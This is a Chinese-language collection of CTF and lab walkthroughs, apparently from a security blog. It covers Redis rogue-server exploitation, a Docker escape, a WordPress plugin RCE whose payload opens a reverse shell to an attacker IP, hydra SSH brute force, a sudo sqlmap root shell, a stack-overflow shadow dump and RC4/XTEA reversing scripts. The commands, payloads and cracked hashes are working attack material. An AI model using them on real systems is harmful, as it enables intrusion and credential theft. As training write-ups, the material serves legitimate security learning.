total_net_output_bytes:14801 instantaneous_input_kbps:0.00 instantaneous_output_kbps:0.00 rejected_connections:0 sync_full:0 sync_partial_ok:0 sync_partial_err:0 expired_keys:0 expired_stale_perc:0.00 expired_time_cap_reached_count:0 evicted_keys:0 keyspace_hits:0 keyspace_misses:0 pubsub_channels:0 pubsub_patterns:0 latest_fork_usec:0 migrate_cached_sockets:0 slave_expires_tracked_keys:0 active_defrag_hits:0 active_defrag_misses:0 active_defrag_key_hits:0 active_defrag_key_misses:0 # Replication role:master connected_slaves:0 master_replid:20ebee4cf286daa409471774f86ee700d032f99f master_replid2:0000000000000000000000000000000000000000 master_repl_offset:0 second_repl_offset:-1 repl_backlog_active:0 repl_backlog_size:1048576 repl_backlog_first_byte_offset:0 repl_backlog_histlen:0 # CPU used_cpu_sys:0.697228 used_cpu_user:0.911468 used_cpu_sys_children:0.000000 used_cpu_user_children:0.001602 # Cluster cluster_enabled:0 # Keyspace redis未授权,尝试各种写马姿势弹shell都不行,和bamuwe交流得知 redis主机不出网可以将攻击机的端口映射到内网,也可以将内网端口映射出来 web主机上有python3的环境,直接传一个简易的nc上去import socket import threading import sys def recv_thread(conn): try: while True: data = conn.recv(4096) if not data: print("\nConnection closed by client.") break print(data.decode(errors='ignore'), end='', flush=True) except Exception as e: print(f"\nReceive error: {e}") finally: conn.close() sys.exit(0) def main(): if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <listen_port>") sys.exit(1) listen_port = int(sys.argv[1]) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', listen_port)) server.listen(1) print(f"Listening on 0.0.0.0:{listen_port} ...") conn, addr = server.accept() print(f"Connection from {addr[0]}:{addr[1]} established!") t = threading.Thread(target=recv_thread, args=(conn,), daemon=True) t.start() try: while True: cmd = sys.stdin.readline() if not cmd: break conn.sendall(cmd.encode()) except KeyboardInterrupt: print("\nUser interrupted.") finally: conn.close() server.close() if __name__ == "__main__": main() https://github.com/n0b0dyCN/redis-rogue-server使用这个工具直接一把梭2025/07/12 10:59:33 CMD: UID=33 PID=760 | ./pspy64 2025/07/12 10:59:33 CMD: UID=33 PID=704 | /bin/bash 2025/07/12 10:59:33 CMD: UID=33 PID=703 | python3 -c import pty;pty.spawn('/bin/bash') 2025/07/12 10:59:33 CMD: UID=33 PID=697 | sh -i 2025/07/12 10:59:33 CMD: UID=33 PID=693 | sh -c uname -a; w; id; sh -i 2025/07/12 10:59:33 CMD: UID=33 PID=692 | md5sum 2025/07/12 10:59:33 CMD: UID=33 PID=472 | /bin/bash 2025/07/12 10:59:33 CMD: UID=33 PID=471 | python3 -c import pty;pty.spawn('/bin/bash') 2025/07/12 10:59:33 CMD: UID=33 PID=470 | php-fpm: pool www 2025/07/12 10:59:33 CMD: UID=33 PID=469 | sh -i 2025/07/12 10:59:33 CMD: UID=33 PID=465 | sh -c uname -a; w; id; sh -i 2025/07/12 10:59:33 CMD: UID=33 PID=403 | php-fpm: pool www 2025/07/12 10:59:33 CMD: UID=33 PID=32 | ./frpc -c frps.ini 2025/07/12 10:59:33 CMD: UID=33 PID=30 | /bin/bash 2025/07/12 10:59:33 CMD: UID=33 PID=29 | python3 -c import pty;pty.spawn('/bin/bash') 2025/07/12 10:59:33 CMD: UID=33 PID=28 | sh -i 2025/07/12 10:59:33 CMD: UID=33 PID=24 | sh -c uname -a; w; id; sh -i 2025/07/12 10:59:33 CMD: UID=33 PID=15 | php-fpm: pool www 2025/07/12 10:59:33 CMD: UID=33 PID=14 | php-fpm: pool www 2025/07/12 10:59:33 CMD: UID=33 PID=9 | nginx: worker process 2025/07/12 10:59:33 CMD: UID=0 PID=8 | php-fpm: master process (/etc/php/7.4/fpm/php-fpm.conf) 2025/07/12 10:59:33 CMD: UID=0 PID=7 | nginx: master process /usr/sbin/nginx -g daemon off; 2025/07/12 10:59:33 CMD: UID=101 PID=6 | /usr/sbin/mariadbd 2025/07/12 10:59:33 CMD: UID=0 PID=1 | /usr/bin/python3 /usr/bin/supervisord -c /etc/supervisord.conf 2025/07/12 11:00:01 CMD: UID=0 PID=768 | runc init 2025/07/12 11:00:01 CMD: UID=0 PID=773 | rm -fv /var/www/html/exp.so 要注意服务器会定时删除so后缀的文件,将exp.so名称成一个没有后缀的文件就行www-data@0bb9bcb43160:/tmp$ python3 1.py --rhost 172.19.0.2 --lhost 172.19.0.3 < python3 1.py --rhost 172.19.0.2 --lhost 172.19.0.3 ______ _ _ ______ _____ | ___ \ | (_) | ___ \ / ___| | |_/ /___ __| |_ ___ | |_/ /___ __ _ _ _ ___ \ `--. ___ _ ____ _____ _ __ | // _ \/ _` | / __| | // _ \ / _` | | | |/ _ \ `--. \/ _ \ '__\ \ / / _ \ '__| | |\ \ __/ (_| | \__ \ | |\ \ (_) | (_| | |_| | __/ /\__/ / __/ | \ V / __/ | \_| \_\___|\__,_|_|___/ \_| \_\___/ \__, |\__,_|\___| \____/ \___|_| \_/ \___|_| __/ | |___/ @copyright n0b0dy @ r3kapig [info] TARGET 172.19.0.2:6379 [info] SERVER 172.19.0.3:21000 [info] Setting master... [info] Setting dbfilename... [info] Loading module... [info] Temerory cleaning up... What do u want, [i]nteractive shell or [r]everse shell: r r [info] Open reverse shell... Reverse server address: 172.19.0.3 172.19.0.3 Reverse server port: 5555 5555 [info] Reverse shell payload sent. [info] Check at 172.19.0.3:5555 [info] Unload module... $ python3 s.py Usage: s.py <listen_port> $ python3 s.py 5555 id Listening on 0.0.0.0:5555 ... Connection from 172.19.0.2:56334 established! uid=999(redis) gid=999(redis) groups=999(redis)成获取redis权限cat /opt/user.txt flag{user-4f6311d4cf5776f0316c2f1b6526a653}提权根据bamuwe的提示,查看web主机的数据库www-data@0bb9bcb43160:/tmp$ mysql -uroot -proot mysql -uroot -proot Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 7 Server version: 10.5.29-MariaDB-0+deb11u1 Debian 11 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]> show databases; show databases; +--------------------+ | Database | +--------------------+ | hnymwl_com_utf8 | | information_schema | | mysql | | performance_schema | +--------------------+ 4 rows in set (0.000 sec) MariaDB [(none)]> use hnymwl_com_utf8; use hnymwl_com_utf8; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MariaDB [hnymwl_com_utf8]> show tables; show tables; +---------------------------+ | Tables_in_hnymwl_com_utf8 | +---------------------------+ | codepay_order | | codepay_user | | sdad3135 | | wp_allot | | wp_area | | wp_balance | | wp_bankcard | | wp_bankinfo | | wp_banks | | wp_cardinfo | | wp_catproduct | | wp_conf | | wp_config | | wp_gg | | wp_integral | | wp_klinedata | | wp_newsclass | | wp_newsinfo | | wp_opentime | | wp_order | | wp_order_log | | wp_payment | | wp_price_log | | wp_productclass | | wp_productdata | | wp_productinfo | | wp_refundlog | | wp_risk | | wp_usercode | | wp_userinfo | | wp_webconfig | | wp_wechat | +---------------------------+ 32 rows in set (0.001 sec) MariaDB [hnymwl_com_utf8]> select * from wp_userinfo; select * from wp_userinfo; +------+-------------+----------------------------------+-------------+------------+-----------+-------+---------+---------+---------+----------+------------+-------------+---------+--------+--------+-----------+----------+--------+--------+-----------+------------+-----------+-----------+----------+ | uid | username | upwd | utel | utime | agenttype | otype | ustatus | oid | address | portrait | lastlog | managername | comname | comqua | rebate | feerebate | usertype | wxtype | openid | nickname | logintime | usermoney | userpoint | minprice | +------+-------------+----------------------------------+-------------+------------+-----------+-------+---------+---------+---------+----------+------------+-------------+---------+--------+--------+-----------+----------+--------+--------+-----------+------------+-----------+-----------+----------+ | 1 | admin | 35a6b91de813873ca887f5d9b681d180 | | 1480061674 | 2 | 3 | 0 | NULL | NULL | NULL | NULL | NULL | NULL | NULL | NULL | 0 | 0 | 0 | NULL | admin | NULL | 0.00 | NULL | NULL | | 5632 | 10005632 | 18aed8d2a11896a6e76180b3d87e64bb | 123456 | 1592404993 | 0 | 0 | 0 | 1 | NULL | NULL | 1597391565 | admin | NULL | NULL | NULL | 0 | 0 | 0 | NULL | www | 1597391565 | 11670.00 | NULL | NULL | | 5634 | 18888888888 | cf9c0c4996398526203b25d179b60aad | 18888888888 | 1592469112 | 0 | 0 | 0 | 666 | NULL | NULL | 1751965186 | AN | NULL | NULL | NULL | 0 | 0 | 0 | NULL | 小可爱 | 1751965186 | 680278.00 | NULL | NULL | | 5635 | 10005635 | f9fb7dcf1f8af5b50235be3cbccf90ee | 19216813711 | 1752205841 | 0 | 0 | 0 | dashazi | NULL | NULL | 1752205841 | whatcanisay | NULL | NULL | NULL | 0 | 0 | 0 | NULL | root | 1752205841 | 0.00 | NULL | NULL | | 5636 | 10005636 | cafc17ccad5b7523338f81ab912c2750 | 13333333333 | 1752296822 | 0 | 0 | 0 | 1 | NULL | NULL | 1752296822 | NULL | NULL | NULL | NULL | 0 | 0 | 0 | NULL | test | 1752296822 | 0.00 | NULL | NULL | +------+-------------+----------------------------------+-------------+------------+-----------+-------+---------+---------+---------+----------+------------+-------------+---------+--------+--------+-----------+----------+--------+--------+-----------+------------+-----------+-----------+----------+ 5 rows in set (0.000 sec) MariaDB [hnymwl_com_utf8]> 在wp_userinfo表中发现了一个root的密码,将web代码脱下来审计,查看密码加密方式public function login() { $userinfo = Db::name('userinfo'); //判断是否已经登录 if (isset($_SESSION['uid'])) { $this->redirect('index/index?token='.$this->token); } if(iswechat() && 1==2){ //微信浏览器 微信登录 if(cookie('wx_info')){ $wx_info = cookie('wx_info'); $data['openid'] = $wx_info['openid']; $checkuser = Db::name('userinfo')->where($data)->value('uid'); //判断是否已经注册 if($checkuser){ //已经注册直接記錄session $_SESSION['uid'] = $checkuser; //更新登录时间 $t_data['logintime'] = $t_data['lastlog'] = time(); $t_data['uid'] = $checkuser; $userinfo->update($t_data); $this->redirect('index/index'); }else{ //未注册 则注册 默认密碼为123456 $data['nickname'] = $wx_info['nickname']; $data['utime'] = time(); //$data['upwd'] = md5('123456'.$data['utime']); $data['otype'] = 0; $data['ustatus'] = 0; $data['address'] = $wx_info['country'].$wx_info['province'].$wx_info['city']; $data['portrait'] = $wx_info['headimgurl']; if(isset($_SESSION['fid']) && $_SESSION['fid']>0){ $fid = $_SESSION['fid']; $fid_info = $userinfo->where(array('uid'=>$fid,'otype'=>101))->value('uid'); if($fid_info){ $data['oid'] = $fid; } } //插入数据 $ids = $userinfo->insertGetId($data); $newdata['uid'] = $ids; $newdata['username'] = 10000000+$ids; $newids = $userinfo->update($newdata); //清除cookie 为了安全 cookie('wx_info', null); //記錄session $_SESSION['uid'] = $ids; //更新登录时间 $t_data['logintime'] = $t_data['lastlog'] = time(); $t_data['uid'] = $ids; $userinfo->update($t_data); $this->redirect('login/addpwd?token='.$this->token); } }else{ $this->redirect('wechat/get_wx_userinfo'); } }else{ //web用戶登录请求 if(input('post.')){ $data = input('post.'); //验证用戶信息 if(!isset($data['username']) || empty($data['username'])){ return WPreturn('请输入用戶名!',-1); } if(!isset($data['upwd']) || empty($data['upwd'])){ return WPreturn('请输入密碼!',-1); } //查询用戶 $result = $userinfo ->where('username',$data['username'])->whereOr('nickname',$data['username'])->whereOr('utel',$data['username']) ->field("uid,upwd,username,utel,utime,otype,ustatus")->find(); //验证用戶 if(empty($result)){ return WPreturn('登录失败,用戶名不存在!',-1); }else{ if(!in_array($result['otype'], array(0,101))){ //非客户无权登录 return WPreturn('您无权登录!',-1); } if($result['upwd'] == md5($data['upwd'].$result['utime'])){ if ($result['ustatus']==0) { $_SESSION['uid'] = $result['uid']; //更新登录时间 $t_data['logintime'] = $t_data['lastlog'] = time(); $t_data['uid'] = $result['uid']; $userinfo->update($t_data); return WPreturn('登录成功!',1); }elseif($result['ustatus']==1){ return WPreturn('登录失败,您的账户暂时被冻结!',-1); }else{ return WPreturn('登录失败,用戶名不存在!',-1); } } else{ return WPreturn('登录失败,密碼错误!',-1); } } } return $this->fetch(); }加密密码是 md5(pass+时间戳)可以写脚本爆破,也可以不写,群里直接提示了 密码是managername字段下的whatcanisay登录到redis主机的rootcat /proc/self/status |grep Cap CapInh: 0000000000000000 CapPrm: 0000000000000000 CapEff: 0000000000000000 CapBnd: 0000003fffffffff CapAmb: 0000000000000000猜测这应该是个特权容器ls /dev/ | grep sda sda sda1 sda2 sda5 mount /dev/sda1 /mnt cd /mnt ls bin boot dev etc home initrd.img initrd.img.old lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old cd root ls root.txt cat root.txt flag{root-6dbfaf239023f6da6ed2ffc59d3bcea5} 将sda1挂载上,发现这就是主机的目录,成功逃逸 群友靶机-New https://dirtycow.cn/345.html 2025-07-02T20:00:00+08:00 web打点image-20250702082959738.png发现是wordpress 随便点几下跳转了http://new.dsz 改个hostswordpress的话就走正常流程,wpscan扫用户爆破密码先整上,发现没什么成果image-20250702083232613.png发现用了Social Warfare v3.5.2插件,随便一搜就找到rce https://github.com/hash3liZer/CVE-2019-9978┌──(root㉿kali)-[~] └─# cat payload <pre>system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.37/4444 0>&1'")</pre> ┌──(root㉿kali)-[~] └─# python2 wp.py -t http://new.dsz --payload-uri http://192.168.1.37/payload [>] Sending Payload to System! ┌──(root㉿kali)-[~] └─# nc -lnvp 4444 listening on [any] 4444 ... connect to [192.168.1.37] from (UNKNOWN) [192.168.1.36] 33860 bash: cannot set terminal process group (430): Inappropriate ioctl for device bash: no job control in this shell www-data@New:/var/www/new.dsz/wp-admin$ 成功getshell提权www-data@New:/home$ cd /opt cd /opt www-data@New:/opt$ ls ls andeli_cred www-data@New:/opt$ 在opt下有个andeli_cred可执行文件,执行输出一堆类似md5的值,尝试用这些字符串去爆破andeli用户┌──(root㉿kali)-[~] └─# hydra -l andeli -P 1 ssh://192.168.1.36 -vV -f -t 10 Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-07-01 20:26:03 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 10 tasks per 1 server, overall 10 tasks, 10001 login tries (l:1/p:10001), ~1001 tries per task [DATA] attacking ssh://192.168.1.36:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://andeli@192.168.1.36:22 [INFO] Successful, password authentication is supported by ssh://192.168.1.36:22 [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "固定MD5插入位置: 665" - 1 of 10001 [child 0] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "eea0353df30b9b38f5f280db88912f91" - 2 of 10001 [child 1] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "e31195e88f31a699c9c499f129248b56" - 3 of 10001 [child 2] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "f788c604535faf9685a1ea30355b1a20" - 4 of 10001 [child 3] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "1a8d0816b7556ebe36f2022387e92093" - 5 of 10001 [child 4] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "a11b921496af55d8bdabfde74d06d9a8" - 6 of 10001 [child 5] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "ab33d487a26f748312e0fd84a8a724fc" - 7 of 10001 [child 6] (0/0) ............................ [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "5cca227ce87f76ad1728abcfbb0dd792" - 658 of 10001 [child 6] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "35d57416c953f0007381e409006d700a" - 659 of 10001 [child 1] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "5dfd113da80981a0421272c7224a2448" - 660 of 10001 [child 6] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "145258ff008912955a7cc33f6798cd0d" - 661 of 10001 [child 9] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "1506df5efe700055ad170466cff8cf5e" - 662 of 10001 [child 2] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "55425a0487587ae27f984fe0ed8add82" - 663 of 10001 [child 9] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "3d4875cfc174c5635fb9ea9c7164ef61" - 664 of 10001 [child 2] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "cb93062c7903f67452d3c6f476855f71" - 665 of 10001 [child 7] (0/0) [ATTEMPT] target 192.168.1.36 - login "andeli" - pass "9eeb22195b4eb7a35bcad0f45761eb7b" - 666 of 10001 [child 9] (0/0) [22][ssh] host: 192.168.1.36 login: andeli password: 9eeb22195b4eb7a35bcad0f45761eb7b 登录ssh,三板斧,找一下suid,没发现可利用的看一下sudo -landeli@New:~$ find / -perm -4000 2>/dev/null /usr/bin/chsh /usr/bin/chfn /usr/bin/newgrp /usr/bin/gpasswd /usr/bin/mount /usr/bin/su /usr/bin/umount /usr/bin/pkexec /usr/bin/sudo /usr/bin/passwd /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device /usr/lib/openssh/ssh-keysign /usr/libexec/polkit-agent-helper-1 andeli@New:~$ sudo -l Matching Defaults entries for andeli on New: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User andeli may run the following commands on New: (ALL) NOPASSWD: /usr/bin/sqlmap可以用root执行sqlmapandeli@New:~$ sudo sqlmap -u 127.0.0.1 --eval="import os; os.system('/bin/sh')" ___ __H__ ___ ___[)]_____ ___ ___ {1.5.2#stable} |_ -| . ["] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 20:43:51 /2025-07-01/ [20:43:51] [INFO] testing connection to the target URL # id uid=0(root) gid=0(root) groups=0(root) # yulian https://dirtycow.cn/300.html 2025-06-30T00:20:00+08:00 web打点image-20250625125350343.png模拟终端执行image-20250625125435114.png查看/opt/code/test.c 文件 伪随机,跑代码得到三个数 image-20250625125627753.png用这三个数进行端口敲门,就会开放8080端口image-20250630003121432.png访问8080, 密码爆破 admin/123457目录扫描,发现接口/download对参数进行爆破,爆破出参数为file,可以任意文件读取读取/proc/self/maps 查看内存image-20250625130035544.png找到/app/javaserver-0.0.1-SNAPSHOT.jar使用这个接口读取jar反编译发现反序列化接口image-20250625130317874.png直接打CommonsCollections链子使用ysoserial生成反弹shell payloadimage-20250625130758468.pngimage-20250625130932791.png带上cookie发送payload getshell内网横向上传frp 搭建socks代理 使用fscan 等工具扫描内网主机扫描到内网主机172.17.0.2,开起来80和22image-20250630003224744.png查看80端口,是一个关于暴力破解的讲解,在最底下有一个注释内容500-worst-passwords这是seclists中的一个字典,使用这个字典去爆破root@172.17.0.2 root/mountainssh连上去 在/usr/bin中发现可疑文件 userLoginimage-20250625131839654.pngida分析image-20250625132049440.png文件加密函数 跟进去image-20250625132126112.pngimage-20250625132132053.png标准的xtea加密image-20250625132213818.png找到key和输出的文件因为是常量定义的key 和 读取的文件的文件名,这里ida分析将这两值合在了一起xtea的key为16位,分成4组进行加密key-for-user-ldz是key , id_ed25519是读取的文件名很明显是一个私钥,写脚本解密output.encimage-20250625132545311.png找到这个文件在/etc/下提取出来解密#include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> #define BLOCK_SIZE 8 #define ROUNDS 64 const char FIXED_KEY_STR[16] = "key-for-user-ldz"; const char *INPUT_FILE = "output.enc"; const char *OUTPUT_FILE = "decrypted.txt"; void xtea_decrypt(uint32_t v[2], const uint32_t key[4]) { uint32_t v0 = v[0], v1 = v[1]; uint32_t delta = 0x9E3779B9, sum = delta * ROUNDS; for (int i = 0; i < ROUNDS; ++i) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0] = v0; v[1] = v1; } void key_from_fixed_string(uint32_t key[4]) { for (int i = 0; i < 4; ++i) { key[i] = ((uint32_t)FIXED_KEY_STR[i*4]) | ((uint32_t)FIXED_KEY_STR[i*4 + 1] << 8) | ((uint32_t)FIXED_KEY_STR[i*4 + 2] << 16) | ((uint32_t)FIXED_KEY_STR[i*4 + 3] << 24); } } void decrypt_file() { FILE *fin = fopen(INPUT_FILE, "rb"); FILE *fout = fopen(OUTPUT_FILE, "wb"); if (!fin || !fout) { perror("文件打开失败"); exit(1); } uint32_t key[4]; key_from_fixed_string(key); uint8_t buffer[BLOCK_SIZE]; size_t read_size; while ((read_size = fread(buffer, 1, BLOCK_SIZE, fin)) == BLOCK_SIZE) { uint32_t block[2]; memcpy(block, buffer, BLOCK_SIZE); xtea_decrypt(block, key); fwrite(block, 1, BLOCK_SIZE, fout); } fclose(fin); fclose(fout); printf("解密完成:%s → %s\n", INPUT_FILE, OUTPUT_FILE); } int main() { decrypt_file(); return 0; } 查看解密完的文件image-20250625132820366.png是个私钥,设置权限600 ,根据解密的key,可以得知是用户ldz的私钥登录这个用户image-20250625133012806.png提权localhost:~$ find / -perm -4000 2>/dev/null /opt/vuln /bin/bbsuid查看suid有个vuln,ida分析一下image-20250625133214597.png让flag=1就能执行secret()函数image-20250625133252635.png这个函数读取/etc/shadow这里很明显是一个栈溢出覆盖flag的值,进行判断绕过payload:localhost:~$ python -c "print('A'*44 + '\x01\x00\x00\x00')" | /opt/vuln root:$6$W5FUwrTeo8vXfNot$qJazigaYSqk8ezVfjHckZb2XjxkrJsniQa5MA1o.j9apE1BMYX5vYuJVEJ2hYbNsR0q9IWOSSt1I40vNYxvKO0:20263:0::::: bin:!::0::::: daemon:!::0::::: lp:!::0::::: sync:!::0::::: shutdown:!::0::::: halt:!::0::::: mail:!::0::::: news:!::0::::: uucp:!::0::::: cron:!::0::::: ftp:!::0::::: sshd:!::0::::: games:!::0::::: ntp:!::0::::: guest:!::0::::: nobody:!::0::::: klogd:!:20205:0:99999:7::: chrony:!:20205:0:99999:7::: ldz:$6$qCU7eP8wj/Pvo1FB$Ooou6p.TF3M/kMB29XrzQ6XVNbq7c46lGzNvRPOJ55GAXJ0h.jmbc8VHhGjFgwXLHPSbNt96l/rmUYgDqpo8Y0:20263:0:99999:7::: nginx:!:20263:0:99999:7::: 成功读取shadow爆破得到root密码┌──(root㉿kali)-[~] └─# john --format=sha512crypt --wordlist=rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) No password hashes left to crack (see FAQ) ┌──(root㉿kali)-[~] └─# john hash --show root:yulianateamo:20263:0::::: 1 password hash cracked, 0 left ┌──(root㉿kali)-[~] └─# ssh root@10.20.73.10 root@10.20.73.10's password: localhost:~# localhost:~# localhost:~# ls root.txt localhost:~# cat root.txt flag{98ecb90d5dcef41e1bd18f47697f287a} localhost:~# 第七届浙江省大学生网络与信息安全竞赛决赛reverse-wp https://dirtycow.cn/269.html 2024-11-09T17:51:00+08:00 Reverse1思路:64位elfimage-20241110155524669.pngida分析image-20241110160145828.png分析这几个函数init函数初始化了一个table,一看就是rc4加密image-20241110160217367.png继续看crypt1 和 crypt2, 是魔改的rc4image-20241110160408630.pngbefore_main函数加密key,秘钥是keykeyimage-20241110162211876.pngafter_main函数使用加密之后的key作为秘钥加密了flagimage-20241110162622396.pngexp:def crypt1(s,key, key_len): v5 = 0 v6 = 0 res = [] for i in range(key_len): v5 = (v5 + 1) % 256 v6 = (v6 + s[v5]) % 256 v4 = s[v5] s[v5] = s[v6] s[v6] = v4 res.append(key[i] ^ (s[(s[v5] + s[v6]) %256])) return res def crypt2(s,enc,enc_len): v5 = 0 v6 = 0 res = [] for i in range(enc_len): v5 = (v5 + 1) % 256 v6 = (v6 + s[v5]) % 256 v4 = s[v5] s[v5] = s[v6] s[v6] = v4 res.append(enc[i] + s[(s[v5] + s[v6])%256]) return res def init(s,key,key_len): v8 = [0]*258 for i in range(256): s[i] = i v8[i] = key[i % key_len] v6 =0 for j in range(256): v6 = (v8[j] + v6 + s[j]) % 256 v4 = s[j] s[j] = s[v6] s[v6] = v4 s = [0]*256 key1 = [ord(b) for b in "keykey"] key = [ord(b) for b in "ban_debug!"] init(s,key1,len(key1)) res = crypt1(s,key,len(key)) print(res) s2 = [0]*256 key2 = init(s2, res,len(res)) enc = [0x4E, 0x47, 0x38, 0x47, 0x62, 0x0A, 0x79, 0x6A, 0x03, 0x66, 0xC0, 0x69, 0x8D, 0x1C, 0x84, 0x0F, 0x54, 0x4A, 0x3B, 0x08, 0xE3, 0x30, 0x4F, 0xB9, 0x6C, 0xAB, 0x36, 0x24, 0x52, 0x81, 0xCF] flag = crypt2(s2,enc,len(enc)) for i in flag: print(chr(i%256),end="") ''' 运行结果 [105, 13, 90, 178, 64, 234, 25, 63, 47, 106] flag{1237-12938-9372-1923-4u92} ''' reverse2思路:有upx, 十六进制查看upx特征是否被修改image-20241110164828280.png将这三个ABC改回成UPX就能脱壳image-20241110164949354.pngida分析代码main函数中看到一个密文image-20241110165204829.png往下看 很明显的base64加密,查看a9876543210zyxw数组image-20241110165249211.png是base64换表image-20241110165347969.pngexp:赛博厨子直接一把梭image-20241110165557240.png hackingtoys https://dirtycow.cn/256.html 2024-09-16T21:30:00+08:00 信息收集nmap扫端口nmap -sS 10.20.73.121 -T4Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-16 03:48 EDT Nmap scan report for hacktoys.lan (10.20.73.121) Host is up (0.00010s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 3000/tcp open ppp MAC Address: 00:0C:29:82:76:43 (VMware) Nmap done: 1 IP address (1 host up) scanned in 0.27 seconds开了22 和 3000端口,nmap -sV 扫详细服务nmap -sV 10.20.73.121 -p3000,22┌──(root㉿kali)-[~] └─# nmap -sV 10.20.73.121 -p3000,22 Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-16 03:49 EDT Nmap scan report for hacktoys.lan (10.20.73.121) Host is up (0.00031s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0) 3000/tcp open ssl/ppp? 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port3000-TCP:V=7.93%T=SSL%I=7%D=9/16%Time=66E7E361%P=x86_64-pc-linux-gn SF:u%r(GenericLines,3EF,"HTTP/1\.0\x20400\x20Bad\x20Request\r\nContent-Len SF:gth:\x20930\r\n\r\nPuma\x20caught\x20this\x20error:\x20Invalid\x20HTTP\ SF:x20format,\x20parsing\x20fails\.\x20Are\x20you\x20trying\x20to\x20open\ SF:x20an\x20SSL\x20connection\x20to\x20a\x20non-SSL\x20Puma\?\x20\(Puma::H SF:ttpParserError\)\n/usr/local/rvm/gems/ruby-3\.1\.0/gems/puma-6\.4\.2/li SF:b/puma/client\.rb:268:in\x20`execute'\n/usr/local/rvm/gems/ruby-3\.1\.0 SF:/gems/puma-6\.4\.2/lib/puma/client\.rb:268:in\x20`try_to_finish'\n/usr/ SF:local/rvm/gems/ruby-3\.1\.0/gems/puma-6\.4\.2/lib/puma/server\.rb:298:i SF:n\x20`reactor_wakeup'\n/usr/local/rvm/gems/ruby-3\.1\.0/gems/puma-6\.4\ SF:.2/lib/puma/server\.rb:248:in\x20`block\x20in\x20run'\n/usr/local/rvm/g SF:ems/ruby-3\.1\.0/gems/puma-6\.4\.2/lib/puma/reactor\.rb:119:in\x20`wake SF:up!'\n/usr/local/rvm/gems/ruby-3\.1\.0/gems/puma-6\.4\.2/lib/puma/react SF:or\.rb:76:in\x20`block\x20in\x20select_loop'\n/usr/local/rvm/gems/ruby- SF:3\.1\.0/gems/puma-6\.4\.2/lib/puma/reactor\.rb:76:in\x20`select'\n/usr/ SF:local/rvm/gems/ruby-3\.1\.0/gems/puma-6\.4\.2/lib/puma/reactor\.rb:76:i SF:n\x20`select_loop'\n/usr/loc")%r(GetRequest,169E,"HTTP/1\.0\x20403\x20F SF:orbidden\r\ncontent-type:\x20text/html;\x20charset=UTF-8\r\nContent-Len SF:gth:\x205702\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en\">\n<head>\n SF:\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\x20<meta\x20name=\"viewp SF:ort\"\x20content=\"width=device-width,\x20initial-scale=1\">\n\x20\x20< SF:meta\x20name=\"turbo-visit-control\"\x20content=\"reload\">\n\x20\x20<t SF:itle>Action\x20Controller:\x20Exception\x20caught</title>\n\x20\x20<sty SF:le>\n\x20\x20\x20\x20body\x20{\n\x20\x20\x20\x20\x20\x20background-colo SF:r:\x20#FAFAFA;\n\x20\x20\x20\x20\x20\x20color:\x20#333;\n\x20\x20\x20\x SF:20\x20\x20color-scheme:\x20light\x20dark;\n\x20\x20\x20\x20\x20\x20supp SF:orted-color-schemes:\x20light\x20dark;\n\x20\x20\x20\x20\x20\x20margin: SF:\x200px;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20body,\x20p,\x20ol,\x20ul 